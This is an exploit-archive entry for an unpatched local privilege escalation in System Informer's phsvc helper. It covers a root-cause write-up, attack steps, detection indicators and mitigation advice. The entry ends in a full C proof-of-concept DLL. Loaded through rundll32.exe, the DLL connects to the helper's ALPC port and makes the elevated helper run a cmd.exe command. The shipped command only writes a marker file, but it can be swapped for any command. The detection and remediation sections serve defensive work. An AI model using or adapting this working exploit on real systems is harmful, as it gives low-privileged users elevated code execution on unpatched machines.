PoC Archive PoC Archive
High None assigned as of 2026-07-03 unpatched

System Informer phsvc Trusted-Host Confused Deputy LPE

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
binary
Affected product
System Informer (Process Hacker successor), phsvc helper process
Affected versions
System Informer canary 4.0.26162.539, source commit 5311c5ff7ebe0a900a792730395faf147d4451b9 (build date 2026-06-11)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorybinary
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagswindows, system-informer, process-hacker, lpe, confused-deputy, alpc, phsvc, authenticode, local-privilege-escalation
RelatedN/A

Affected Target

FieldValue
Software / SystemSystem Informer (Process Hacker successor), phsvc helper process
Versions AffectedSystem Informer canary 4.0.26162.539, source commit 5311c5ff7ebe0a900a792730395faf147d4451b9 (build date 2026-06-11)
Language / PlatformC, Windows x64
Authentication RequiredLocal-only (standard/medium-integrity local user)
Network Access RequiredNo

Summary

System Informer’s privileged helper process phsvc exposes an ALPC API port (\BaseNamedObjects\SiSvcApiPort) with a connect ACL open to Everyone, and authorizes connecting clients purely by checking whether the client’s process image is generically Authenticode-trusted via PhVerifyFileEx. Because a trusted Microsoft-signed host such as rundll32.exe can load and execute an attacker-controlled unsigned DLL, code running inside that DLL inherits the host image’s trusted status when connecting to the helper, letting it invoke privileged helper APIs such as PhSvcCreateProcessIgnoreIfeoDebuggerApiNumber. When an elevated phsvc instance is live, this lets a low-privileged local user cause the helper to create an attacker-chosen process in the helper’s elevated security context. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

phsvc’s IPC client verification (SystemInformer/phsvc/svcapiport.c) answers the wrong trust question: it checks whether the connecting process image is generically Authenticode-trusted (VrTrusted) rather than verifying that the executing code is actually System Informer. A trusted signed host process that loads arbitrary attacker DLL code (e.g. rundll32.exe) therefore passes the client-verification gate, creating a classic confused-deputy condition (CWE-441-style trust boundary failure).

Attack Vector

  1. As a low-privileged local user, compile the PoC DLL (poc.c) and load it into the Microsoft-signed rundll32.exe host process.
  2. The DLL connects to the fixed helper ALPC port \BaseNamedObjects\SiSvcApiPort.
  3. phsvc verifies the client image (rundll32.exe) via PhVerifyFileEx, sees it is Authenticode-trusted, and accepts the connection — without checking that the code making the request is System Informer.
  4. The DLL invokes the privileged PhSvcApiCreateProcessIgnoreIfeoDebugger API over the accepted connection.
  5. If the live phsvc instance is elevated, it creates the attacker-chosen process (in the PoC, a benign marker-writing command) in its own elevated security context.

Impact

Local arbitrary code execution in the phsvc helper’s security context; when the helper instance is elevated, this is a local privilege escalation from a medium-integrity user to an elevated/administrative context. The helper’s additional service-management APIs (e.g. PhSvcCreateServiceApiNumber) could expand impact further, though the PoC deliberately limits itself to a marker-only process-creation request.


Environment / Lab Setup

Target:   System Informer canary 4.0.26162.539 (commit 5311c5ff7ebe0a900a792730395faf147d4451b9), Windows x64, elevated phsvc instance live
Attacker: Windows x64, MinGW-w64 gcc (or MSVC), rundll32.exe from Windows

Proof of Concept

PoC Script

See poc.c and build.bat in this folder.

1
2
build.bat
rundll32.exe phsvc_rundll_poc.dll,Run "%TEMP%\systeminformer_phsvc_poc.txt"

poc.c builds into either phsvc_rundll_poc.dll (loaded via rundll32.exe to demonstrate the confused-deputy bypass) or phsvc_unsigned_client.exe (a negative-control client that should be rejected by the helper’s release-build verification). When run through the signed rundll32.exe host while an elevated phsvc is live, the DLL connects to the helper port and requests process creation, writing a marker file and status=0x00000000 on success.


Detection & Indicators of Compromise

Signs of compromise:

  • rundll32.exe (or another generically-signed host) connecting to the System Informer helper ALPC port shortly before privileged process creation
  • phsvc.exe spawning processes not initiated through the legitimate System Informer UI
  • Presence of unsigned DLLs loaded into rundll32.exe around the time of elevated helper activity

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory; phsvc should authorize clients using a System Informer-specific identity (pinned signer plus expected binary identity) rather than generic Authenticode trust
Interim mitigationRestrict the helper’s ALPC port DACL so only the intended System Informer process can connect; avoid running elevated phsvc sessions on multi-user or lower-trust systems; monitor for unsigned DLL loads into commonly-abused signed hosts like rundll32.exe

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: systeminformer-phsvc-trusted-host-lpe-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
#include <windows.h>
#include <shellapi.h>
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#include <wchar.h>

typedef LONG NTSTATUS;

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#ifndef STATUS_NO_MEMORY
#define STATUS_NO_MEMORY ((NTSTATUS)0xC0000017L)
#endif
#define PH_SVC_API_CREATE_PROCESS_IGNORE_IFEO_DEBUGGER 16

#ifndef NTAPI
#define NTAPI __stdcall
#endif

#ifndef SECURITY_DYNAMIC_TRACKING
#define SECURITY_DYNAMIC_TRACKING 1
#endif

#ifndef SecurityImpersonation
#define SecurityImpersonation 2
#endif

typedef struct _UNICODE_STRING_LOCAL {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING_LOCAL, *PUNICODE_STRING_LOCAL;

typedef struct _CLIENT_ID_LOCAL {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID_LOCAL;

typedef struct _PORT_MESSAGE_LOCAL {
    union {
        struct {
            SHORT DataLength;
            SHORT TotalLength;
        } s1;
        ULONG Length;
    } u1;
    union {
        struct {
            SHORT Type;
            SHORT DataInfoOffset;
        } s2;
        ULONG ZeroInit;
    } u2;
    union {
        CLIENT_ID_LOCAL ClientId;
        double DoNotUseThisField;
    };
    ULONG MessageId;
    union {
        SIZE_T ClientViewSize;
        ULONG CallbackId;
    };
} PORT_MESSAGE_LOCAL, *PPORT_MESSAGE_LOCAL;

typedef struct _PORT_VIEW_LOCAL {
    ULONG Length;
    HANDLE SectionHandle;
    ULONG SectionOffset;
    SIZE_T ViewSize;
    PVOID ViewBase;
    PVOID ViewRemoteBase;
} PORT_VIEW_LOCAL, *PPORT_VIEW_LOCAL;

typedef struct _REMOTE_PORT_VIEW_LOCAL {
    ULONG Length;
    SIZE_T ViewSize;
    PVOID ViewBase;
} REMOTE_PORT_VIEW_LOCAL, *PREMOTE_PORT_VIEW_LOCAL;

typedef struct _PH_RELATIVE_STRINGREF_LOCAL {
    ULONG Length;
    ULONG Offset;
} PH_RELATIVE_STRINGREF_LOCAL;

typedef struct _PHSVC_API_CONNECTINFO_LOCAL {
    ULONG ServerProcessId;
} PHSVC_API_CONNECTINFO_LOCAL;

typedef union _PHSVC_API_PAYLOAD_LOCAL {
    PHSVC_API_CONNECTINFO_LOCAL ConnectInfo;
    struct {
        ULONG ApiNumber;
        NTSTATUS ReturnStatus;
        union {
            struct {
                PH_RELATIVE_STRINGREF_LOCAL FileName;
                PH_RELATIVE_STRINGREF_LOCAL CommandLine;
            } CreateProcessIgnoreIfeoDebugger;
        } u;
    };
} PHSVC_API_PAYLOAD_LOCAL;

typedef struct _PHSVC_API_MSG_LOCAL {
    PORT_MESSAGE_LOCAL h;
    PHSVC_API_PAYLOAD_LOCAL p;
} PHSVC_API_MSG_LOCAL;

typedef NTSTATUS (NTAPI *PFN_NtCreateSection)(PHANDLE, ACCESS_MASK, PVOID, PLARGE_INTEGER, ULONG, ULONG, HANDLE);
typedef NTSTATUS (NTAPI *PFN_NtConnectPort)(PHANDLE, PUNICODE_STRING_LOCAL, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW_LOCAL, PREMOTE_PORT_VIEW_LOCAL, PULONG, PVOID, PULONG);
typedef NTSTATUS (NTAPI *PFN_NtRequestWaitReplyPort)(HANDLE, PPORT_MESSAGE_LOCAL, PPORT_MESSAGE_LOCAL);
typedef NTSTATUS (NTAPI *PFN_NtClose)(HANDLE);
typedef PVOID (NTAPI *PFN_RtlCreateHeap)(ULONG, PVOID, SIZE_T, SIZE_T, PVOID, PVOID);
typedef PVOID (NTAPI *PFN_RtlAllocateHeap)(PVOID, ULONG, SIZE_T);
typedef BOOLEAN (NTAPI *PFN_RtlFreeHeap)(PVOID, ULONG, PVOID);
typedef PVOID (NTAPI *PFN_RtlDestroyHeap)(PVOID);
typedef NTSTATUS (NTAPI *PFN_RtlSetHeapInformation)(PVOID, HEAP_INFORMATION_CLASS, PVOID, SIZE_T);

static PFN_NtCreateSection pNtCreateSection;
static PFN_NtConnectPort pNtConnectPort;
static PFN_NtRequestWaitReplyPort pNtRequestWaitReplyPort;
static PFN_NtClose pNtClose;
static PFN_RtlCreateHeap pRtlCreateHeap;
static PFN_RtlAllocateHeap pRtlAllocateHeap;
static PFN_RtlFreeHeap pRtlFreeHeap;
static PFN_RtlDestroyHeap pRtlDestroyHeap;
static PFN_RtlSetHeapInformation pRtlSetHeapInformation;

#define RESOLVE_NTDLL(Name, Type) (Name = (Type)(void *)GetProcAddress(ntdll, #Name + 1))

static void init_unicode_string(PUNICODE_STRING_LOCAL s, PCWSTR value)
{
    SIZE_T bytes = wcslen(value) * sizeof(WCHAR);
    s->Length = (USHORT)bytes;
    s->MaximumLength = (USHORT)(bytes + sizeof(WCHAR));
    s->Buffer = (PWSTR)value;
}

static void write_text(PCWSTR path, PCWSTR text)
{
    HANDLE file = CreateFileW(path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file != INVALID_HANDLE_VALUE) {
        DWORD written = 0;
        WriteFile(file, text, (DWORD)(wcslen(text) * sizeof(WCHAR)), &written, NULL);
        CloseHandle(file);
    }
}

static BOOL resolve_ntdll(void)
{
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    if (!ntdll)
        return FALSE;

    RESOLVE_NTDLL(pNtCreateSection, PFN_NtCreateSection);
    RESOLVE_NTDLL(pNtConnectPort, PFN_NtConnectPort);
    RESOLVE_NTDLL(pNtRequestWaitReplyPort, PFN_NtRequestWaitReplyPort);
    RESOLVE_NTDLL(pNtClose, PFN_NtClose);
    RESOLVE_NTDLL(pRtlCreateHeap, PFN_RtlCreateHeap);
    RESOLVE_NTDLL(pRtlAllocateHeap, PFN_RtlAllocateHeap);
    RESOLVE_NTDLL(pRtlFreeHeap, PFN_RtlFreeHeap);
    RESOLVE_NTDLL(pRtlDestroyHeap, PFN_RtlDestroyHeap);
    RESOLVE_NTDLL(pRtlSetHeapInformation, PFN_RtlSetHeapInformation);

    return pNtCreateSection && pNtConnectPort && pNtRequestWaitReplyPort && pNtClose &&
        pRtlCreateHeap && pRtlAllocateHeap && pRtlFreeHeap && pRtlDestroyHeap &&
        pRtlSetHeapInformation;
}

static PVOID make_shared_string(PVOID heap, PCWSTR value, PH_RELATIVE_STRINGREF_LOCAL *ref)
{
    SIZE_T length = wcslen(value) * sizeof(WCHAR);
    PBYTE memory = (PBYTE)pRtlAllocateHeap(heap, HEAP_ZERO_MEMORY, length);
    if (!memory)
        return NULL;

    memcpy(memory, value, length);
    ref->Length = (ULONG)length;
    ref->Offset = (ULONG)(memory - (PBYTE)heap);
    return memory;
}

static NTSTATUS connect_and_execute(PCWSTR marker_path)
{
    UNICODE_STRING_LOCAL port_name;
    HANDLE section = NULL;
    HANDLE port = NULL;
    LARGE_INTEGER section_size;
    PORT_VIEW_LOCAL client_view;
    REMOTE_PORT_VIEW_LOCAL server_view;
    SECURITY_QUALITY_OF_SERVICE qos;
    ULONG max_message_length = 0;
    PHSVC_API_CONNECTINFO_LOCAL connect_info;
    ULONG connect_info_length;
    PVOID heap = NULL;
    ULONG heap_compatibility = 2;
    NTSTATUS status;

    init_unicode_string(&port_name, L"\\BaseNamedObjects\\SiSvcApiPort");
    section_size.QuadPart = 8ull * 1024ull * 1024ull;

    status = pNtCreateSection(&section, SECTION_ALL_ACCESS, NULL, &section_size, PAGE_READWRITE, SEC_COMMIT, NULL);
    if (!NT_SUCCESS(status))
        return status;

    ZeroMemory(&client_view, sizeof(client_view));
    client_view.Length = sizeof(client_view);
    client_view.SectionHandle = section;
    client_view.ViewSize = (SIZE_T)section_size.QuadPart;

    ZeroMemory(&server_view, sizeof(server_view));
    server_view.Length = sizeof(server_view);

    ZeroMemory(&qos, sizeof(qos));
    qos.Length = sizeof(qos);
    qos.ImpersonationLevel = SecurityImpersonation;
    qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
    qos.EffectiveOnly = TRUE;

    ZeroMemory(&connect_info, sizeof(connect_info));
    connect_info_length = sizeof(connect_info);

    status = pNtConnectPort(&port, &port_name, &qos, &client_view, &server_view, &max_message_length, &connect_info, &connect_info_length);
    pNtClose(section);

    if (!NT_SUCCESS(status))
        return status;

    heap = pRtlCreateHeap(0, client_view.ViewBase, client_view.ViewSize, 0x1000, NULL, NULL);
    if (!heap) {
        pNtClose(port);
        return STATUS_NO_MEMORY;
    }

    pRtlSetHeapInformation(heap, HeapCompatibilityInformation, &heap_compatibility, sizeof(heap_compatibility));

    {
        WCHAR command_line[MAX_PATH * 4];
        PHSVC_API_MSG_LOCAL msg;
        PVOID file_mem;
        PVOID cmd_mem;

        swprintf(command_line, sizeof(command_line) / sizeof(command_line[0]), L"\"C:\\Windows\\System32\\cmd.exe\" /c echo SYSTEMINFORMER_PHSVC_POC>\"%ls\"", marker_path);

        ZeroMemory(&msg, sizeof(msg));
        msg.p.ApiNumber = PH_SVC_API_CREATE_PROCESS_IGNORE_IFEO_DEBUGGER;
        file_mem = make_shared_string(heap, L"C:\\Windows\\System32\\cmd.exe", &msg.p.u.CreateProcessIgnoreIfeoDebugger.FileName);
        cmd_mem = make_shared_string(heap, command_line, &msg.p.u.CreateProcessIgnoreIfeoDebugger.CommandLine);

        if (!file_mem || !cmd_mem) {
            status = STATUS_NO_MEMORY;
        } else {
            msg.h.u1.s1.DataLength = sizeof(PHSVC_API_MSG_LOCAL) - offsetof(PHSVC_API_MSG_LOCAL, p);
            msg.h.u1.s1.TotalLength = sizeof(PHSVC_API_MSG_LOCAL);
            msg.h.u2.ZeroInit = 0;
            status = pNtRequestWaitReplyPort(port, &msg.h, &msg.h);
            if (NT_SUCCESS(status))
                status = msg.p.ReturnStatus;
        }

        if (cmd_mem)
            pRtlFreeHeap(heap, 0, cmd_mem);
        if (file_mem)
            pRtlFreeHeap(heap, 0, file_mem);
    }

    pRtlDestroyHeap(heap);
    pNtClose(port);
    return status;
}

static void default_marker_path(PWSTR buffer, DWORD count, PCWSTR leaf)
{
    DWORD used = GetTempPathW(count, buffer);
    if (!used || used >= count) {
        wcsncpy(buffer, L".\\", count - 1);
        buffer[count - 1] = 0;
    }
    wcsncat(buffer, leaf, count - wcslen(buffer) - 1);
}

static void run_probe(PCWSTR marker_path)
{
    WCHAR marker[MAX_PATH * 2];
    WCHAR status_path[MAX_PATH * 2];
    WCHAR status_text[256];
    NTSTATUS status;

    if (marker_path && marker_path[0]) {
        wcsncpy(marker, marker_path, (sizeof(marker) / sizeof(marker[0])) - 1);
        marker[(sizeof(marker) / sizeof(marker[0])) - 1] = 0;
    } else {
        default_marker_path(marker, sizeof(marker) / sizeof(marker[0]), L"systeminformer_phsvc_poc.txt");
    }

    swprintf(status_path, sizeof(status_path) / sizeof(status_path[0]), L"%ls.status", marker);

    if (!resolve_ntdll()) {
        write_text(status_path, L"resolve_ntdll_failed");
        return;
    }

    status = connect_and_execute(marker);
    swprintf(status_text, sizeof(status_text) / sizeof(status_text[0]), L"status=0x%08lx", (ULONG)status);
    write_text(status_path, status_text);
}

__declspec(dllexport) void CALLBACK Run(HWND hwnd, HINSTANCE hinst, LPSTR cmdline, int ncmdshow)
{
    int argc = 0;
    LPWSTR *argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    PCWSTR marker_path = NULL;

    (void)hwnd;
    (void)hinst;
    (void)cmdline;
    (void)ncmdshow;

    if (argv && argc >= 3)
        marker_path = argv[argc - 1];

    run_probe(marker_path);

    if (argv)
        LocalFree(argv);
}

#ifdef BUILD_EXE
int wmain(int argc, wchar_t **argv)
{
    run_probe(argc >= 2 ? argv[1] : NULL);
    return 0;
}
#endif